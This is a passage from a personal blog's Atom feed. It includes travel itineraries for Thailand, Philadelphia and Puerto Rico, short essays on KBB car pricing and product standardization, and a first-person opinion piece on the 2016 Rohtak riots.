<p>Overall, I felt the Bangkok and Pattaya to be acceptable and not amazing but this could  just be the result of comparisons to cities and islands in the USA. On the other hand, I would strongly recommend Kanchanaburi which has Erawan falls as well as Tiger Temple.</p>
<h2 id="tips">Tips</h2>
<ol>
<li>Thailand drives on the left side of the road, like 
<a href="/travel/london">UK</a> and 
<a href="/tag/india/">India</a>. They use &ldquo;gasoline&rdquo; and not &ldquo;petrol&rdquo; though.</li>
<li>People use water instead of toilet paper.</li>
<li>Most places try to charge an excessive price to foreigners.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/thailand" term="thailand" label="thailand"/><category scheme="https://ashishb.net/tag/asia" term="asia" label="asia"/></entry><entry><title type="html">Why KBB overprices cars</title><link href="https://ashishb.net/finance/why-kbb-overprices-cars/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/finance/why-not-abolish-employer-provided-health-insurance/?utm_source=atom_feed" rel="related" type="text/html" title="Why not abolish employer-provided health insurance?"/><link href="https://ashishb.net/short-stories/doctors-per-capita/?utm_source=atom_feed" rel="related" type="text/html" title="Doctors per capita"/><link href="https://ashishb.net/short-stories/made-in-america/?utm_source=atom_feed" rel="related" type="text/html" title="Made in America"/><link href="https://ashishb.net/short-stories/price-variance/?utm_source=atom_feed" rel="related" type="text/html" title="Price variance in the United States"/><link href="https://ashishb.net/short-stories/authentically-american/?utm_source=atom_feed" rel="related" type="text/html" title="Authentically American"/><id>https://ashishb.net/finance/why-kbb-overprices-cars/</id><author><name>Ashish Bhatia</name></author><published>2016-04-23T22:33:22+00:00</published><updated>2016-04-23T22:33:22+00:00</updated><content type="html"><![CDATA[<blockquote>Explore how KBB might inflate car values to boost sales through perceived discounts. Could Zillow and Trulia use similar tactics in real estate? Dive in now!</blockquote><p>  
    
    
<a href="https://www.kbb.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">KBB</a> is used in the US for estimating the value of a used car before buying/selling it.
While helping friends buy used cars, I felt that it always overvalued the car.
I feel there is an   
    
    
<a href="https://en.wikipedia.org/wiki/Anchoring?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">anchoring effect</a> in play here.
A car owner (seller) feels happier checking the value of their car since it is being reported higher
than what they expect. This provides a nice room for providing a discount for converting the buyer.
A buyer, especially a first-time one, would feel happier since they are getting a discount on the KBB value.
If instead KBB rightly priced the cars, it would leave no room for negotiation, leading to lower conversions.
Thus, despite having no direct incentives, KBB would be inclined towards overvaluation.
I wonder if the same thing applies for home-buying sites like   
    
    
<a href="https://www.zillow.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Zillow</a> and   
    
    
<a href="https://www.trulia.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Trulia</a>.</p>
]]></content><category scheme="https://ashishb.net/category/finance" term="finance" label="finance"/><category scheme="https://ashishb.net/tag/anchoring-effect" term="anchoring-effect" label="anchoring-effect"/><category scheme="https://ashishb.net/tag/kbb" term="kbb" label="kbb"/><category scheme="https://ashishb.net/tag/psychology" term="psychology" label="psychology"/><category scheme="https://ashishb.net/tag/this-american-life" term="this-american-life" label="this-american-life"/></entry><entry><title type="html">Rohtak Riots</title><link href="https://ashishb.net/politics/rohtak-riots/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/imagining-india-by-nandan-nilekani/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Imagining India by Nandan Nilekani"/><link href="https://ashishb.net/security/blackberry-controversy-in-india/?utm_source=atom_feed" rel="related" type="text/html" title="BlackBerry Controversy in India"/><link href="https://ashishb.net/politics/green-card-limbo/?utm_source=atom_feed" rel="related" type="text/html" title="The unanchored babies of the green card limbo"/><link href="https://ashishb.net/politics/mobs-are-status-games/?utm_source=atom_feed" rel="related" type="text/html" title="Mobs are Status Games"/><link href="https://ashishb.net/politics/american-elections/?utm_source=atom_feed" rel="related" type="text/html" title="American Elections"/><id>https://ashishb.net/politics/rohtak-riots/</id><author><name>Ashish Bhatia</name></author><published>2016-02-21T04:51:17+00:00</published><updated>2016-02-21T04:51:17+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the complex dynamics of Rohtak&rsquo;s Jat and Punjabi communities amidst historical tensions and political changes. Discover the lasting impact on local identity.</blockquote><h3 id="background">Background</h3>
<p>Rohtak is a small district 50 miles (80 km) west of the Indian capital of New Delhi. The city is also known as the Jat heartland for its dominant Jat population. The second biggest community in the district is [Hindu] Punjabis who migrated to Haryana after the Islamic state of Pakistan was   
    
    
<a href="https://en.wikipedia.org/wiki/Partition_of_India?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">carved</a> out of India in 1947.  The Punjabis are primarily businessmen and live in the urban areas. They, notably, run the largest wholesale cloth market of Asia known as Shori market. The Jats primarily constitute the agrarian society and dominate the public institutions.  The traumatic memories of 1947 have kept Punjabis suspicious of Indian National Congress (&ldquo;Congress&rdquo;) and hence, their love for nationalist BJP is well known. The Congress is the Grand Old Party of India and hence, is deeply entrenched in the Jat social institutional bodies, namely, the   
    
    
<a href="https://en.wikipedia.org/wiki/Khap?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Khap Panchayats</a> and educational institutions. The Jats&rsquo; love for the nation and hence, joining the Indian army is   
    
    
<a href="https://timesofindia.indiatimes.com/india/Haryana-adds-more-muscle-to-Indian-Army-leaves-Punjab-behind/articleshow/36541615.cms?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">well-known</a>. The nationalist spirit is implicit in the culture of the city district. So much so that while Congress leaders outside Haryana   
    
    
<a href="https://indianexpress.com/article/india/india-news-india/people-suppressing-the-voice-of-jnu-students-are-anti-national-rahul-gandhi/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">support</a> anti-India rallies while the Congress leaders in Haryana   
    
    
<a href="https://web.archive.org/web/20160327000030/https://naveenjindal.com/meetnaveen/amended-flag-code.aspx?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">fight</a> court battles for the right to display Indian flags.</p>
<h3 id="the-permanent-undercurrent">The permanent undercurrent</h3>
<p>There has always been a tense relationship between the Jat and the Punjabi communities. From labeling Punjabis as outsiders, <em>Jhangis,</em> and at worst, Pakistanis, a &ldquo;small&rdquo; conservative section of Jat community has always found the idea of maintaining cordial relations with Punjabi community unpalatable. To the silent majority [of Jats], living with Punjabis is inconsequential - they have more important things to worry about in life. They have admiration for the Punjabi community in terms of the affluence they have built up after losing everything in 1947. While the undercurrent does lead to animosity from time to time but overall, the effect of it has been negligible. As someone who was born and grew up as a Punjabi in Rohtak, I had a lot of Jat friends. Only a few of them ever held any animosity against Punjabis. The vice versa is true as well. The undercurrent, I believed and felt, was a dying one.</p>
<h3 id="the-elections-of-2014">The elections of 2014</h3>
<p>Compared to most states in the country, Haryana is a sleepy state as far as politics go. Political news from the neighboring states would dominate the news section. The ban on student unions could be a major cause of this. 2015 elections were a landmark because this was the first time the BJP came to power on its own. The idea of having a Punjabi Chief Minister whose parents came here   
    
    
<a href="https://www.ibnlive.com/news/politics/21-interesting-facts-about-haryana-cm-designate-manohar-lal-khattar-721719.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">empty-handed</a> in 1947 did not bode well with the small albeit influential conservative section of the Jat community. No surprises that the Jat reservation leader Hawa Singh Sangwan referred to him as a   
    
    
<a href="https://www.tribuneindia.com/news/haryana/treason-case-sought-against-jat-leader-for-calling-cm-pakistani/136542.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Pakistani</a>.</p>
<h3 id="riots-of-2016">Riots of 2016</h3>
<p>While Congress did lose the elections, its deep penetration within Jats is well-known. Using that penetration to create a ruckus in a BJP-led government is a deliberate one. An inexperienced Chief Minister, who is a first-time MLA and the 2017 UP elections where the BJP does not want to lose the Jat votes for has led to a sacrifice of Punjabi community of Rohtak in the process. At the risk of repeating myself, Rohtak is not Srinagar or Nagaland where anti-nationalists run amok - both the dominant communities are deeply nationalist. But now the city is under curfew, probably for the first time since my birth in 1987. The city is being ruled by rioters with non-Jat, primarily, Punjabi and other non-Jat owned businesses being deliberately targeted. The   
    
    
<a href="https://www.youtube.com/watch?v=NWoQsMsrOfg&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">burning</a> of Captain Abhimanyu&rsquo;s house, Finance minister of Haryana, who is a Jat himself, is a symbolic one, the community has effectively disowned its most prominent leader in the ruling BJP government.</p>
<p>
<a href="rohtak-jat-stir-8.jpg"><img alt="Violence exploded in Rohtak as Jat protesters demanding reservation in jobs and education. Also set fire to a minister&rsquo;s home, damaged property and burnt police vehicles. Mobs blocked highways and rail tracks. EXPRESS PHOTO BY GAJENDRA YADAV 19 02 2016." loading="lazy" src="/politics/rohtak-riots/rohtak-jat-stir-8.jpg"></a></p>
<h3 id="the-long-term-effects">The long-term effects</h3>
<p>The dividing line between Jats and Punjabis were supposed to diminish over time. The communities have too much in common, from the same religion to similar food habits. These riots would leave deep scars and suspicion in the Punjabi community which after being questioned for its identity and threatened with riots was once forced to leave their paternal land in 1947. Two generations later, in the hindsight of Jat reservation, the uncomfortable question targeting their identity is being asked again.</p>
<figure>
    
    <a href="00c920a6-ede6-426e-8175-ab684a9db6c1.jpeg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="00c920a6-ede6-426e-8175-ab684a9db6c1.jpeg"
         alt="Destruction at Rohtak"/> </a><figcaption>
            Destruction at Rohtak
        </figcaption>
</figure>

<figure>
    
    <a href="1a12dbe0-c9b6-4d43-ac10-e0b0738e79c2.jpeg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="1a12dbe0-c9b6-4d43-ac10-e0b0738e79c2.jpeg"
         alt="Destruction at Rohtak"/> </a>
</figure>

<figure>
    
    <a href="2e7a9ea9-4714-4ae5-aded-fb824438fa9b.jpeg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="2e7a9ea9-4714-4ae5-aded-fb824438fa9b.jpeg"
         alt="Destruction at Rohtak"/> </a>
</figure>

<figure>
    
    <a href="3c7467e7-0475-4378-84c7-25629d23c825.jpeg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="3c7467e7-0475-4378-84c7-25629d23c825.jpeg"
         alt="Destruction at Rohtak"/> </a>
</figure>

<figure>
    
    <a href="4d5cee42-cbad-4165-8a23-448cbc603805.jpeg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="4d5cee42-cbad-4165-8a23-448cbc603805.jpeg"
         alt="Destruction at Rohtak"/> </a>
</figure>

<figure>
    
    <a href="8bfa02e8-2df6-45da-81fd-fe3c82583261.jpeg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="8bfa02e8-2df6-45da-81fd-fe3c82583261.jpeg"
         alt="Destruction at Rohtak"/> </a>
</figure>

<figure>
    
    <a href="9c2e8a22-bb41-4645-a71a-71b7a5293126.jpeg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="9c2e8a22-bb41-4645-a71a-71b7a5293126.jpeg"
         alt="Destruction at Rohtak"/> </a>
</figure>

<figure>
    
    <a href="9e96c888-a0d6-453c-8213-60ecf1ad6f28.jpeg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="9e96c888-a0d6-453c-8213-60ecf1ad6f28.jpeg"
         alt="Destruction at Rohtak"/> </a>
</figure>

<figure>
    
    <a href="23d33f87-d52a-46e5-9510-2f8ec0eeaf23.jpeg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="23d33f87-d52a-46e5-9510-2f8ec0eeaf23.jpeg"
         alt="Destruction at Rohtak"/> </a>
</figure>

<figure>
    
    <a href="36be5a5e-a258-4e7e-93e7-76de92413dab.jpeg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="36be5a5e-a258-4e7e-93e7-76de92413dab.jpeg"
         alt="Destruction at Rohtak"/> </a>
</figure>

<figure>
    
    <a href="44c79c2b-2c23-4012-ba72-6ee76ffb6154.jpeg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="44c79c2b-2c23-4012-ba72-6ee76ffb6154.jpeg"
         alt="Destruction at Rohtak"/> </a>
</figure>

<figure>
    
    <a href="58ede83f-35bb-476e-b23c-bc75b0b4ed60.jpeg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="58ede83f-35bb-476e-b23c-bc75b0b4ed60.jpeg"
         alt="Destruction at Rohtak"/> </a>
</figure>

<figure>
    
    <a href="47436e8c-43ce-495e-b2a7-e0a92dd0a718.jpeg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="47436e8c-43ce-495e-b2a7-e0a92dd0a718.jpeg"
         alt="Destruction at Rohtak"/> </a>
</figure>

<figure>
    
    <a href="52318f61-1f0b-4f80-979d-cccd7473d6ba.jpeg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="52318f61-1f0b-4f80-979d-cccd7473d6ba.jpeg"
         alt="Destruction at Rohtak"/> </a>
</figure>

<figure>
    
    <a href="7280100b-23d9-4aea-8f0e-34dc10d32f02.jpeg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="7280100b-23d9-4aea-8f0e-34dc10d32f02.jpeg"
         alt="Destruction at Rohtak"/> </a>
</figure>

<figure>
    
    <a href="a145a313-f598-4058-80a6-1bc650eca94a.jpeg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="a145a313-f598-4058-80a6-1bc650eca94a.jpeg"
         alt="Destruction at Rohtak"/> </a>
</figure>

<figure>
    
    <a href="d94f0844-f36b-484b-a241-64ed947d52b5.jpeg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="d94f0844-f36b-484b-a241-64ed947d52b5.jpeg"
         alt="Destruction at Rohtak"/> </a>
</figure>

<figure>
    
    <a href="ee1be25c-783f-4c90-97a0-f58749945cf6.jpeg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ee1be25c-783f-4c90-97a0-f58749945cf6.jpeg"
         alt="Destruction at Rohtak"/> </a>
</figure>

]]></content><category scheme="https://ashishb.net/category/politics" term="politics" label="politics"/><category scheme="https://ashishb.net/tag/politics" term="politics" label="politics"/><category scheme="https://ashishb.net/tag/reservation" term="reservation" label="reservation"/><category scheme="https://ashishb.net/tag/rohtak" term="rohtak" label="rohtak"/></entry><entry><title type="html">Philadelphia in 3 days</title><link href="https://ashishb.net/travel/philadelphia/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/oahu-hawaii/?utm_source=atom_feed" rel="related" type="text/html" title="Five days in Oahu, Hawaii"/><link href="https://ashishb.net/travel/point-roberts/?utm_source=atom_feed" rel="related" type="text/html" title="A day at Point Roberts"/><link href="https://ashishb.net/travel/chicago/?utm_source=atom_feed" rel="related" type="text/html" title="Chicago in 2 Days"/><link href="https://ashishb.net/travel/boston/?utm_source=atom_feed" rel="related" type="text/html" title="Boston in 2 Days"/><link href="https://ashishb.net/travel/seattle/?utm_source=atom_feed" rel="related" type="text/html" title="Seattle in 2 Days"/><id>https://ashishb.net/travel/philadelphia/</id><author><name>Ashish Bhatia</name></author><published>2016-02-03T05:09:10+00:00</published><updated>2016-02-03T05:09:10+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the rich history of Philadelphia in just 2.5 days. From Independence Hall to the vibrant art scene, explore iconic sites and hidden gems.</blockquote><p>Philadelphia is a historic city on the east coast of the United States. It was the capital of the U.S. before Washington D.C. I spent two and a half  days in and around Philadephia in January 2016.</p>
<h3 id="day-1">Day 1</h3>
<p>I started the day with Indepence Hall National Historic Site.   
    
    
<a href="https://www.nps.gov/inde/learn/historyculture/stories-libertybell.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Liberty Bell</a> Center gives a good overview of this historic American cultural icon.</p>
<figure>
    
    <a href="IMG_0384-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0384-1-1024x768.jpg"
         alt="The historic Liverty Bell is displayed in a museum setting" width="900"/> </a>
</figure>

<p>From there, I continued onto the tour of   
    
    
<a href="https://www.nps.gov/inde/planyourvisit/independencehall.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Independence Hall</a>. Only a guided tour is permitted inside and it is perfect.</p>
<figure>
    
    <a href="IMG_0400-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0400-1024x768.jpg"
         alt="Independence Hall" width="900"/> </a>
</figure>

<p>Then, I checked out the   
    
    
<a href="https://constitutioncenter.org/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">National Constitution Center</a> which shows the history of the evolution of the US constitution, including giving blacks and women right to vote and American civil war. Highly recommended for history lovers.</p>
<figure>
    
    <a href="IMG_0401-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0401-1024x768.jpg"
         alt="A colorful mural depicts influential historical events, including the American Civil War and the expansion of voting rights to Black Americans and women. It&#39;s recommended for history enthusiasts." width="900"/> </a>
</figure>

<p>I wanted to check out   
    
    
<a href="https://www.usmint.gov/mint_tours/?action=philadelphia&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">US Mint</a> but unfortunately, it was closed that day.   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60795-d144052-Reviews-Betsy_Ross_House-Philadelphia_Pennsylvania.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Betsy Ross House</a>, the house of Betsy Ross, who made America&rsquo;s star and stripes flag, is located in the vicinity but it was a bit underwhelming. So, if you are short on time, better skip it.</p>
<figure>
    
    <a href="IMG_0413-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0413-1024x768.jpg"
         alt="A historical building with tall, weathered stone walls and arched windows, surrounded by a grassy area and partially obscured by trees." width="900"/> </a>
</figure>

<p>I decided to skip   
    
    
<a href="https://mentalfloss.com/article/59726/17-spooky-photos-philadelphias-eastern-state-penitentiary?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Eastern State Penitentiary</a> and   
    
    
<a href="https://www.fi.edu/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Franklin Institute</a> but others might be interested in them. The last activity of the day was   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60795-d1569521-Reviews-Philadelphia_s_Magic_Gardens-Philadelphia_Pennsylvania.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Philly Magic Gardens</a>. It is highly rated on TripAdvisor, but I felt the art quality was a bit shoddy. I stayed at   
    
    
<a href="https://www.anrdoezrs.net/click-7958754-10479934-1420669072000?url=http%3A%2F%2Fwww.expedia.com%2Fpubspec%2Fscripts%2Feap.asp%3FPRID%3D1%26GOTO%3DHOTDETAILS%26HotID%3D6304&amp;cjsku=6304&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Econolodge Conference Center, Allentown</a> since it was close to the Appalachian Trail, I wanted to do the next day. This was the end of my first day.</p>
<h2 id="day-2">Day 2</h2>
<p>I started the day with a hike along the historic Appalachian trail route (   
    
    
<a href="https://www.mcall.com/entertainment/mc-appalachian-trail-lehigh-valley-guide-20141017-story.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Lehigh gap</a>). It was a slightly strenuous but enjoyable hike.</p>
<figure>
    
    <a href="IMG_0421-1-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0421-1-1024x768.jpg"
         alt="Lehigh Gap hike" width="900"/> </a>
</figure>

<p>Post-lunch, I followed with a journey to   
    
    
<a href="https://www.tripadvisor.in/Attraction_Review-g52424-d2432139-Reviews-Cornwall_Iron_Furnace-Cornwall_Pennsylvania.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Cornwall Iron Furnace</a>. It&rsquo;s a hidden gem in inner Pennsylvania. The guided tour of the furnace gives a glimpse into the history of the Iron and Steel industry of the U.S.</p>
<figure>
    
    <a href="IMG_0430-1-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0430-1-768x1024.jpg"
         alt="A historic furnace represents the Iron and Steel industry in the U.S., providing educational tours" width="900"/> </a>
</figure>

<h3 id="day-3">Day 3</h3>
<p>I started the journey with   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g60795-d138311-Reviews-Philadelphia_Museum_of_Art-Philadelphia_Pennsylvania.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Philadephia Museum of Art</a>. It&rsquo;s a big museum, and it can take up to 6 hours to see all the artwork.</p>
<p><img alt="IMG_0443" loading="lazy" src="/travel/philadelphia/IMG_0443-1024x768.jpg"> From there I headed to   
    
    
<a href="https://muttermuseum.org/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Mutter Museum</a> which contains an impressive collection of medical specimens ranging from the tallest skeleton found in North America to slices of Albert Einstein&rsquo;s brain. Unfortunately, photography is prohibited inside.</p>
<figure>
    
    <a href="IMG_0448-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0448-1024x768.jpg"
         alt="An impressive structure with ornate architectural details, surrounding greenery adds to the picturesque setting." width="900"/> </a>
</figure>

<p>This was the end of my Philadelphia trip.</p>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/pennsylvania" term="pennsylvania" label="pennsylvania"/><category scheme="https://ashishb.net/tag/usa" term="usa" label="usa"/></entry><entry><title type="html">Standardization</title><link href="https://ashishb.net/tech/standardization/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/when-aggregation-works-and-when-it-doesnt/?utm_source=atom_feed" rel="related" type="text/html" title="When aggregation works and when it doesn't"/><link href="https://ashishb.net/tech/the-android-chrome-merger-saga/?utm_source=atom_feed" rel="related" type="text/html" title="The Android-Chrome merger saga"/><link href="https://ashishb.net/tech/startup-valuations/?utm_source=atom_feed" rel="related" type="text/html" title="Startup valuations"/><link href="https://ashishb.net/tech/voice-interfaces-the-missing-ux/?utm_source=atom_feed" rel="related" type="text/html" title="Voice Interfaces: The Missing User Interaction Element"/><link href="https://ashishb.net/tech/google-io-2016-android-notes/?utm_source=atom_feed" rel="related" type="text/html" title="Google I/O 2016: Android notes"/><id>https://ashishb.net/tech/standardization/</id><author><name>Ashish Bhatia</name></author><published>2016-01-04T06:51:46+00:00</published><updated>2016-01-04T06:51:46+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the impact of standardization on product differentiation and market competition. Learn how companies can thrive despite razor-thin margins and commoditization challenges.</blockquote><p>Standards exist so that products from different vendors can interoperate with each other, for example,
sending email from Gmail to Yahoo! mail, and use common interfaces, for example, sockets for electrical appliances.
The standardization does not always have to come from imposed standards; sometimes, it comes from the user expectations.
For example, the interface of a Calander/Scheduling application is pretty standardized.
There is little scope to differentiate a new Calendar application from the existing products like Outlook Calendar,
Google Calendar, and iCal while just implementing the standard is still   
    
    
<a href="https://news.ycombinator.com/item?id=10691960&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">pretty</a>   
    
    
<a href="https://algeri-wong.com/yishan/great-unsolved-problems-in-computer-science.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">hard</a>.</p>
<p>One problem which standardization introduces for the product vendor is that there is little left to differentiate itself.
For example, either the cables are compliant with USB-C standard, or they are not.
The lack of differentiation produces perfect competition and hence, razor-thin margins.
The model, thus, works only at scale. The same problem of standardization seems to have plagued products focused on email,
calendar and RSS feeds.
All three of them are pretty standardized.
While one can provide a better UI like Sunrise does for Calendar, or over-the-top functionality like   
    
    
<a href="https://mixmax.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">MixMax</a> does,
there is still relatively   
    
    
<a href="https://news.ycombinator.com/item?id=10690754&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">little</a> scope for a product solving any of these to differentiate itself from others.
Therefore, big companies with established   
    
    
<a href="https://blakemasters.com/post/22405055017/peter-thiels-cs183-startup-class-9-notes-essay?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">distribution</a> channels dominate.</p>
<p>The only exception to the rule is producing premium quality products, either in reality or perception and then wait for
a niche market which will be willing to pay a premium hoping that they are getting the best product,
for example, 41$   
    
    
<a href="https://amzn.to/1OFCNiB?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">mini-USB cable</a> and a 50$   
    
    
<a href="https://freron.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">MailMate</a> email client.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/></entry><entry><title type="html">Puerto Rico in 4 days</title><link href="https://ashishb.net/travel/puerto-rico/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/dominican-republic/?utm_source=atom_feed" rel="related" type="text/html" title="Dominican Republic in 5 days"/><link href="https://ashishb.net/travel/ecuador/?utm_source=atom_feed" rel="related" type="text/html" title="Ecuador in 4 days"/><link href="https://ashishb.net/travel/11-day-caribbean-cruise/?utm_source=atom_feed" rel="related" type="text/html" title="11-day Norwegian Breakaway East Caribbean cruise"/><link href="https://ashishb.net/travel/costa-rica/?utm_source=atom_feed" rel="related" type="text/html" title="Costa Rica in 4 days"/><link href="https://ashishb.net/travel/nicaragua/?utm_source=atom_feed" rel="related" type="text/html" title="Nicaragua in 5 days"/><id>https://ashishb.net/travel/puerto-rico/</id><author><name>Ashish Bhatia</name></author><published>2016-01-02T02:03:06+00:00</published><updated>2016-01-02T02:03:06+00:00</updated><content type="html"><![CDATA[<blockquote>Explore Puerto Rico’s rich history and stunning landscapes in 4 days! Visit San Juan, thrilling caves, El Yunque rainforest, and relax on Culebra&rsquo;s beaches.</blockquote><p>Among all islands in the 
<a href="/travel/caribbean-trip-guide/">Caribbean</a>, Puerto Rico (&ldquo;Rich Port&rdquo;) is among the few to have historical and geographical places of interest, alongside the beaches. It is a U.S. territory. Flights from the mainland United States are treated as domestic flights. It has tropical weather, so, a visit in the latter part of the year is recommended. 
<a href="/travel/public-transport-guide/">Public transport</a> is poor outside of the main city of San Juan, so,  if you want to explore the island, a rental car is highly recommended. Here is a recommended four-day itinerary.</p>
<h3 id="day-1">Day 1</h3>
<p>  
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g147320-d149852-Reviews-San_Juan_National_Historic_Site-San_Juan_Puerto_Rico.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">San Juan National Historic Site</a> consists of two Spanish castles which illustrate the History of Puerto Rico since the Spanish invasion in the 15th century. The entry fee is $5 and a free shuttle not only connects the castles but will also give you a tour of the old city. It will take 3-4 hours to do a full tour of the site. Visit the   
    
    
<a href="https://www.barrachina.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">birthplace</a> of Piña Colada afterward for a dinner. They do have virgin Piña Colada which is non-alcoholic. Spend the rest of the day in the old city.</p>
<figure>
    
    <a href="IMG_0259-1024x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0259-1024x1024.jpg"
         alt="San Juan Historic Site" width="900"/> </a>
</figure>

<figure>
    
    <a href="IMG_0339-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0339-1024x768.jpg"
         alt="San Juan Historic Site" width="900"/> </a>
</figure>

<figure>
    
    <a href="Pina-colada-1024x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Pina-colada-1024x1024.jpg"
         alt="A refreshing piña colada in a stemware glass garnished with a pineapple slice and cherry, set against a plain background, evokes a tropical, summery vibe." width="900"/> </a>
</figure>

<figure>
    
    <a href="IMG_0266-1-e1451698507676-1024x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0266-1-e1451698507676-1024x1024.jpg"
         alt="San Juan Historic District" width="900"/> </a>
</figure>

<h3 id="day-2">Day 2</h3>
<p>Drive west and do two underground caves at   
    
    
<a href="https://www.tripadvisor.com/Attraction_Review-g1818109-d147952-Reviews-Rio_Camuy_Cave_Park_Parque_de_las_Cavernas_del_Rio_Camuy-Lares_Puerto_Rico.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Rio Camuy cave park</a> and   
    
    
